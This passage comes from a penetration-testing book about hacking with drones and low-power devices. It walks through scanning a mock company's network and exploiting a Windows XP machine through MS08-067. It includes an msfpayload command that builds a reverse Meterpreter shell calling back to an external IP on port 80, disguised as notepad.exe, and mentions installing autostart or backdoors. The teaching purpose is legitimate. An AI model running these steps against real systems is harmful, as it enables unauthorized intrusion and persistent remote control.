Hacking_and_Penetration_Testing_with_Low_Power_Devices

Penetration testing with multiple drones
199
be connected to this drone and used to collect all wireless traffic on the PFunEd network
for the remainder of the penetration test.
Either the conference room or the receptionist drone can be used to scan the network
for interesting targets. The drone in the conference room might be preferable on
the off chance that the receptionist’s computer is shut down every evening. The
nmap-scan.py script from the previous chapter might be handy for this. Recall that
in addition to displaying results on the screen, the scan data are stored in a JSON file
for use in later scripts.
The nmap scan reveals two targets of interest. One target is a Windows XP
machine at address 192.168.2.185 in the sales department that is potentially vulnerable.
The other interesting target is a development server at address 192.168.2.158
with a plethora of services including git, SSH, FTP, and several databases. OpenVAS
will be run against both of these targets to detect any quick wins. The scan also
revealed that the rouge access point is a NETGEAR router attached to the PFunEd
network at address 192.168.2.186. The drone has been assigned and address of
192.168.2.197.
Before the OpenVAS scan can be conducted, the OpenVAS server must be
started. When not in use, this server should be disabled because it consumes a lot
of resources and will greatly increase boot time if automatically started on boot.
Recall that the server will attempt to update itself if it is run from a machine with
the Internet access.
Running the openvas-scan.py script from the previous chapter (which will iterate
over live hosts from the nmap scan) reveals no well-known vulnerabilities on the
Linux development server and verifies that the salesman’s Windows XP machine
is exploitable via the MS08-067 vulnerability. As before, the msfcli utility can be
used to exploit the machine and drop a payload, extract files and password hashes,
open a shell, etc.
In this case, a reverse TCP Meterpreter shell will be used as a payload. A reverse
payload causes a compromised machine to connect to another machine instead of
listening on a port. This is done to limit the likelihood of things being blocked by
firewalls. To make the most out of the situation, a connection will be made to port
80 on a Linux server back at the office with a static IP address. The Linux machine
will be running a handler on port 80. Traffic from the exploited machine will appear
as normal Web traffic to any administrators at PFE. An intern from a local university
will operate the machine at the office.
The multihandler must be started at the machine back at the office. The machine
has a public Internet address of 97.64.185.147. The series of commands required to
start the multihandler on this machine are shown in Figure 7.20.
A payload to connect back to the intern’s machine can be created with the msfpayload
utility. The correct command is msfpayload windows/meterpreter/reverse_tcp
LHOST¼ 97.64.185.147 LPORT¼80 X > /tmp/notepad.exe. This will be
uploaded and executed using the Metasploit payload upexec. If needed, this payload
can be set to autostart or a backdoor can be installed by the intern using the
Meterpreter shell.